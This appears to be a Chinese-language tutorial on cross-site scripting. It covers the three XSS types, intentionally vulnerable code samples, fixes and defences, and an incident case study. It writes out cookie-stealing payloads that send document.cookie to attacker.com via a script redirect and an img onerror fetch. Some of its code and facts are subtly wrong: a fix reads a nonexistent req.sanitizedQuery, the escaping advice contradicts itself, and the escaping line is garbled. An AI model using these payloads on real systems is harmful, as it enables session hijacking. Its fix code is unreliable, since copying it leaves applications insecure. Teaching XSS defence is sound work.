常见网络安全攻击类型深度剖析（四）：跨站脚本攻击（XSS）——分类、漏洞利用与前端安全防护

在Web应用安全中，跨站脚本攻击（Cross-Site Scripting, XSS）是攻击者利用浏览器漏洞，在用户浏览页面时注入恶意脚本，从而窃取会话Cookie、劫持用户会话或篡改页面内容的高频攻击手段。据OWASP统计，XSS在2021年“OWASP Top 10”中位列第7，至今仍是前端安全的主要威胁之一。本文将结合代码示例，解析XSS的三大核心类型、攻击原理及开发者必学的防御技术。

一、XSS的本质：浏览器的“信任背叛”

XSS的核心原理是：攻击者在Web页面中注入恶意JavaScript/VBScript/HTML代码，当用户浏览器加载该页面时，恶意代码被执行，从而利用浏览器的信任发起攻击。其本质是浏览器对“同源策略”的局部突破（同源策略规定不同源的脚本无法相互访问，但XSS利用合法页面的源执行恶意代码）。

二、XSS的三大核心类型及代码演示

1. 反射型XSS（Reflected XSS）

核心特点

• 恶意代码嵌入在URL参数或表单中，随服务器响应反射给用户浏览器，不存储在服务器端；
• 攻击依赖用户主动点击恶意链接，常见于搜索框、登录页面等交互场景。

漏洞代码示例（Node.js）

// 漏洞代码：未对搜索参数进行转义  
app.get('/search', (req, res) => {  
  const keyword = req.query.q;  
  res.send(`<h1>搜索结果：${keyword}</h1>`);  
});  

攻击演示

• 恶意链接：http://example.com/search?q=<script>alert('XSS');</script>
• 浏览器解析后执行脚本，弹出警告框（实际攻击中会窃取Cookie：document.cookie）。

修复方案

// 修复：使用HTML转义库（如xss-clean）  
const xss = require('xss-clean');  
app.use(xss()); // 全局中间件自动转义危险字符  
app.get('/search', (req, res) => {  
  const keyword = req.sanitizedQuery.q; // 自动转义后的参数  
  res.send(`<h1>搜索结果：${keyword}</h1>`);  
});  

2. 存储型XSS（Stored XSS）

核心特点

• 恶意代码存储在服务器数据库中（如用户评论、帖子内容），所有访问该页面的用户都会触发攻击；
• 危害更大，常被用于钓鱼攻击、会话劫持等长期潜伏场景。

漏洞代码示例（PHP）

// 漏洞代码：未过滤用户提交的评论内容  
if ($_SERVER['REQUEST_METHOD'] === 'POST') {  
  $comment = $_POST['comment'];  
  $sql = "INSERT INTO comments (content) VALUES ('$comment')";  
  // 直接存入数据库，未做任何过滤  
}  

攻击演示

• 用户提交评论：<script>document.location='http://attacker.com/steal-cookie.php?cookie='+document.cookie;</script>
• 其他用户浏览该页面时，脚本自动发送Cookie到攻击者服务器。

修复方案

// 修复：入库前对内容进行HTML转义+输出时二次转义  
function sanitize($str) {  
  return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');  
}  
// 入库前转义  
$comment = sanitize($_POST['comment']);  
// 输出时无需再次转义（已转义的内容会被浏览器视为文本）  
echo '<div class="comment">' . $comment . '</div>';  

3. DOM型XSS（DOM-Based XSS）

核心特点

• 攻击不依赖服务器端响应，而是通过修改浏览器端的DOM树，利用JavaScript动态加载恶意内容；
• 漏洞存在于前端代码中，常见于innerHTML、eval()等危险API的不当使用。

漏洞代码示例（JavaScript）

<!-- 漏洞代码：使用innerHTML动态插入用户输入 -->  
<input id="name" type="text">  
<button onclick="greet()">提交</button>  
<script>  
function greet() {  
  const name = document.getElementById('name').value;  
  document.getElementById('output').innerHTML = `<h1>你好，${name}！</h1>`;  
}  
</script>  
<div id="output"></div>  

攻击演示

• 输入框填入：<script>alert('XSS');</script>
• innerHTML动态插入恶意脚本，触发弹窗。

修复方案

<!-- 修复：使用textContent替代innerHTML（不解析HTML） -->  
<script>  
function greet() {  
  const name = document.getElementById('name').value;  
  document.getElementById('output').textContent = `你好，${name}！`; // 仅插入文本  
}  
</script>  

三、XSS攻击链解析：从代码漏洞到用户劫持

1. 漏洞发现：

   • 攻击者通过扫描Web页面，寻找未过滤的输入点（如GET参数、表单提交、动态DOM操作）。

2. 代码注入：

   • 反射型：将恶意脚本嵌入URL（如搜索参数、登录redirect参数）；
   • 存储型：通过注册用户、发表评论等功能，将脚本存入服务器数据库；
   • DOM型：利用前端代码中的innerHTML、eval()等API，诱导用户触发脚本执行。

3. 用户触发：

   • 用户访问包含恶意脚本的页面，浏览器加载并执行脚本（无需用户显式点击，存储型XSS会自动触发）。

4. 权限窃取：

   • 恶意脚本读取用户Cookie（如document.cookie）、会话令牌（Session Token），或获取浏览器环境信息（如navigator.userAgent）。

5. 攻击实施：

   • 会话劫持：通过窃取的Cookie模拟用户身份，执行转账、修改密码等操作；
   • 钓鱼攻击：篡改页面内容，显示虚假登录表单，骗取用户敏感信息；
   • 漏洞利用链：结合其他漏洞（如CSRF），形成复合攻击。

四、开发者必学的“XSS防御六要素”

1. 输入验证：拒绝恶意字符

实现方法

• 对用户输入的所有字段（如URL参数、表单内容、Cookie值）进行严格校验，只允许特定字符（如字母、数字、部分符号）；
• 使用正则表达式过滤危险字符（如<script>, onerror, javascript:）。

// JavaScript输入验证示例  
function validateInput(input) {  
  const forbiddenPattern = /<script>|onload|javascript:/i;  
  return forbiddenPattern.test(input) ? '' : input;  
}  

2. 输出编码：让恶意代码“失效”

核心原则

• HTML转义：将<转为<，>转为>，"转为"，确保用户输入被浏览器视为文本而非代码；
• JavaScript转义：在动态生成JavaScript代码时，使用JSON.stringify()对用户输入进行转义。

// 正确：使用textContent（自动转义HTML）  
element.textContent = userInput;  
// 错误：使用innerHTML（可能执行恶意脚本）  
element.innerHTML = userInput;  

3. 内容安全策略（CSP）：限制脚本来源

配置方法

• 通过HTTP头或Meta标签声明允许加载的资源来源，阻止加载非信任域的脚本。

<!-- 推荐：在HTML头部添加CSP -->  
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com;">  

• 关键指令：
  • script-src 'self'：仅允许加载本站和指定域名（如CDN）的脚本；
  • img-src *：允许加载任何来源的图片（根据业务需求调整）。

4. 避免危险API的滥用

高危操作清单

危险API	安全替代方案
innerHTML	textContent（仅插入文本）
eval()	避免使用，改用安全的解析方法
document.write()	页面加载完成后禁止使用
动态拼接URL	使用URLSearchParams类

5. 使用安全框架与库

现代框架的安全特性

• React/Vue/Angular：默认对用户输入进行HTML转义，避免XSS（如{userInput}会自动转义，等同于textContent）；
• Node.js中间件：使用helmet、xss-clean等库，自动过滤危险字符（如Express框架的express-xss-sanitizer）。

6. 会话管理强化

防御会话劫持

• Cookie属性：为Cookie设置HttpOnly（防止JavaScript读取）、Secure（仅HTTPS传输）、SameSite=Strict（阻止跨站请求）；

  // Express设置安全Cookie示例  
  res.cookie('sessionId', sessionToken, {  
    httpOnly: true,  
    secure: true,  
    sameSite: 'strict'  
  });  
  

• 验证码机制：对高风险操作（如修改密码、绑定邮箱）添加验证码，增加攻击成本。

五、典型案例：某社交平台存储型XSS事件（2022年）

事件经过

某知名社交平台的用户评论功能存在存储型XSS漏洞，攻击者通过发布包含以下代码的评论：

<img src=x onerror="fetch('https://attacker.com/steal-cookie.php?cookie='+document.cookie)">  

当其他用户浏览该评论时，浏览器自动向攻击者服务器发送Cookie，导致超10万用户的会话令牌泄露。攻击者利用这些令牌登录用户账户，发布钓鱼广告、关注垃圾账号，平台被迫紧急下线评论功能进行修复。

漏洞根源

• 服务器端未对评论内容进行HTML转义，直接存入数据库；
• 前端渲染时使用innerHTML加载评论内容，未做二次过滤。

六、XSS与其他攻击的核心区别

特征	XSS	SQL注入	CSRF
攻击对象	浏览器（客户端）	数据库（服务器端）	浏览器（会话令牌）
代码执行	依赖浏览器执行恶意脚本	依赖数据库解析SQL语句	依赖用户浏览器自动携带Cookie
防御核心	输入输出编码+CSF策略	参数化查询+输入验证	令牌校验+Referer检查
典型场景	评论区、搜索框	登录表单、数据库查询	转账按钮、修改密码表单

七、总结：构建“前端+后端”的立体防御体系

XSS的本质是“用户输入被错误地当作代码执行”，其防御需要前端与后端的协同作战：后端负责输入验证和数据清洗，前端通过安全API和CSP策略阻止脚本执行，同时借助现代框架的内置安全特性减少人为失误。对于开发者而言，应始终遵循“默认不信任任何用户输入”的原则，将XSS防御纳入Web开发的每个环节（从需求分析到上线部署）。

下一篇文章将聚焦“入侵检测系统（IDS）与入侵防御系统（IPS）”，解析如何通过流量监控和实时阻断技术，构建网络安全的“第二道防线”。